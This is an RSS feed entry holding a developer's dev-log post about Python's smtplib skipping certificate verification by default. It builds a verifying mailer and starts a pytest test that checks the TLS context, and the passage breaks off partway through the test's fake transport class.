<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Nate Swenson — Dev Log</title><description>The dev log of Nate Swenson, Senior DevOps Engineer at GoodLeap. Daily notes on the projects he&apos;s building in public — shipped features, the tradeoffs behind them, and what broke.</description><link>https://natejswenson.com/</link><language>en-us</language><item><title>smtplib will not check the certificate unless you ask</title><link>https://natejswenson.com/devlog/local-fitness/v0.51.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/local-fitness/v0.51.0/</guid><description>Python&apos;s SMTP client encrypts by default and authenticates nothing. Here is how to build a mailer that actually verifies the server, and a test that fails when the verification is off.</description><pubDate>Fri, 07 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;This release added an evening job that emails a generated report at 19:00, with the charts attached inline. Delivery is plain &lt;code&gt;smtplib&lt;/code&gt; from a scheduled process, no interactive session anywhere in the path.&lt;/p&gt;
&lt;p&gt;A pre-release security review caught the mailer connecting with no &lt;code&gt;SSLContext&lt;/code&gt;. That reads as harmless, because the code was already using &lt;code&gt;SMTP_SSL&lt;/code&gt; on port 465, which sounds like the secure one. It is not harmless. Python’s SMTP client will happily encrypt a connection to a server it has made no attempt to identify, and the statement right after the handshake is usually &lt;code&gt;login()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This guide builds a small mailer that verifies properly, then writes the test that catches it when it does not. The test is the part worth stealing: the obvious one passes whether verification is on or off.&lt;/p&gt;
&lt;h2&gt;What the standard library actually does&lt;/h2&gt;
&lt;p&gt;Two facts, and the second explains the first.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;smtplib&lt;/code&gt; takes an optional &lt;code&gt;context&lt;/code&gt; argument on both transports. The &lt;a href=&quot;https://docs.python.org/3/library/smtplib.html&quot;&gt;documentation for &lt;code&gt;SMTP_SSL&lt;/code&gt; and &lt;code&gt;starttls()&lt;/code&gt;&lt;/a&gt; describes what a context is for and points at the ssl module’s security considerations, but it never says what you get when you leave it out. That silence is where the trap lives.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://raw.githubusercontent.com/python/cpython/3.12/Lib/smtplib.py&quot;&gt;CPython source answers it&lt;/a&gt;. Both &lt;code&gt;SMTP_SSL.__init__&lt;/code&gt; and &lt;code&gt;starttls()&lt;/code&gt; contain the same two lines:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; context &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    context &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ssl._create_stdlib_context()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And &lt;a href=&quot;https://raw.githubusercontent.com/python/cpython/3.12/Lib/ssl.py&quot;&gt;&lt;code&gt;_create_stdlib_context&lt;/code&gt; is an alias&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;_create_stdlib_context &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; _create_unverified_context&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It builds a context with &lt;code&gt;cert_reqs=CERT_NONE&lt;/code&gt; and &lt;code&gt;check_hostname=False&lt;/code&gt;. Encrypted, and authenticated against nothing.&lt;/p&gt;
&lt;p&gt;The verifying one is a different factory. &lt;a href=&quot;https://docs.python.org/3/library/ssl.html#ssl.create_default_context&quot;&gt;&lt;code&gt;ssl.create_default_context()&lt;/code&gt;&lt;/a&gt; sets &lt;code&gt;verify_mode&lt;/code&gt; to &lt;code&gt;CERT_REQUIRED&lt;/code&gt; and enables &lt;code&gt;check_hostname&lt;/code&gt;, and it is never what you get by omission.&lt;/p&gt;
&lt;p&gt;The reason is historical, and &lt;a href=&quot;https://peps.python.org/pep-0476/&quot;&gt;PEP 476&lt;/a&gt; states it plainly: it enabled certificate verification by default for HTTP clients and stopped there. The PEP says it “only proposes requiring this level of validation for HTTP clients, not for other protocols such as SMTP.” Self-signed certificates were common on mail servers in 2014, so turning verification on would have broken working deployments. That decision never got revisited, so a &lt;code&gt;smtplib&lt;/code&gt; call written today inherits it.&lt;/p&gt;
&lt;p&gt;Meanwhile &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc8314.html&quot;&gt;RFC 8314&lt;/a&gt; tells clients the opposite: mail user agents “MUST validate TLS server certificates,” and it prefers implicit TLS on port 465 over STARTTLS because it is simpler to get right. Your code has to close that gap itself.&lt;/p&gt;
&lt;h2&gt;Build a mailer that verifies&lt;/h2&gt;
&lt;p&gt;One function returns the context, and both transports take it. Making it a function rather than an inline call is what lets the test reach it later.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# mailer.py&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; __future__ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; annotations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; smtplib&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ssl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; dataclasses &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; dataclass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; email.message &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; EmailMessage&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; email.utils &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; formatdate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#: A hung socket in an unattended job pins the process until something else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#: kills it. Fail instead, and let the retry slot take the next attempt.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;SMTP_TIMEOUT_S &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 30&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;@dataclass&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(frozen&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;True)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; MailConfig&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    host: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    port: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;int&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    user: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    password: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    to: tuple[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, ...]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    from_addr: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; tls_context&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() -&gt; ssl.SSLContext:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;A certificate-verifying TLS context.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    ssl.create_default_context() is the one that sets verify_mode to&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    CERT_REQUIRED and turns check_hostname on. Passing None to smtplib&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    gets you the unverified stdlib context instead.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ssl.create_default_context()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; build_message&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(subject: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, body: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, cfg: MailConfig) -&gt; EmailMessage:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    msg &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; EmailMessage()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    msg[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Subject&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; subject&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    msg[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;From&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cfg.from_addr&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    msg[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;To&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;, &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.join(cfg.to)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    msg[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Date&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; formatdate(localtime&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;True)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    msg.set_content(body)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; msg&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; send&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(msg: EmailMessage, cfg: MailConfig) -&gt; None:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    context &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tls_context()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cfg.port &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 465&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # Implicit TLS: the handshake happens inside __init__, so the context&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # has to be supplied at connect time.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        with&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; smtplib.SMTP_SSL(cfg.host, cfg.port, timeout&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;SMTP_TIMEOUT_S,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;                              context&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;context) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; smtp:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            smtp.login(cfg.user, cfg.password)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            smtp.send_message(msg)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    else&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # STARTTLS: connect in the clear, then upgrade. The upgrade carries the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # context, and login comes after it, never before.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        with&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; smtplib.SMTP(cfg.host, cfg.port, timeout&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;SMTP_TIMEOUT_S) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; smtp:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            smtp.starttls(context&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;context)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            smtp.login(cfg.user, cfg.password)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            smtp.send_message(msg)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two details in &lt;code&gt;send&lt;/code&gt; carry weight. The context reaches &lt;code&gt;SMTP_SSL&lt;/code&gt; through the constructor and &lt;code&gt;SMTP&lt;/code&gt; through &lt;code&gt;starttls()&lt;/code&gt;, because those are the two different moments the handshake happens. And &lt;code&gt;login()&lt;/code&gt; sits after the upgrade on the STARTTLS branch. Reversed, the password crosses a cleartext socket before the connection is secured.&lt;/p&gt;
&lt;h2&gt;Test the context, not the outcome&lt;/h2&gt;
&lt;p&gt;Here is the test almost everyone writes first:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; test_send_delivers_the_message&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(fake_smtp):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    mailer.send(build_message(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;hi&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;body&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, CFG), CFG)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; fake_smtp.instances[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].sent &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It passes with &lt;code&gt;context=context&lt;/code&gt;. It also passes with the argument deleted. It cannot distinguish a verified connection from an unverified one, because “the message went out” is true either way. Every assertion about the outcome has this property, which is why the defect survived a green suite.&lt;/p&gt;
&lt;p&gt;The assertion has to be about the context object itself. Start with a fake transport that records what it was handed:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# test_mailer.py&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ssl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; pytest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; mailer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; mailer &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; MailConfig, build_message&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;CFG &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; MailConfig(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    host&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;smtp.example.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, port&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;465&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, user&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;me@example.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    password&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;secret&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, to&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;me@example.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,), from_addr&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;me@example.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; FakeSMTP&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Records the transport&apos;s inputs without opening a socket.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    instances: list[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;FakeSMTP&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; __init__&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(self, host, port, timeout&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;None, context&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;None):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.host, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.port, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.timeout &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; host, port, timeout&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # SMTP_SSL receives the context here; the STARTTLS path leaves this&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;        # None and supplies it at upgrade time instead.&lt;/span&gt;&lt;/span&gt;
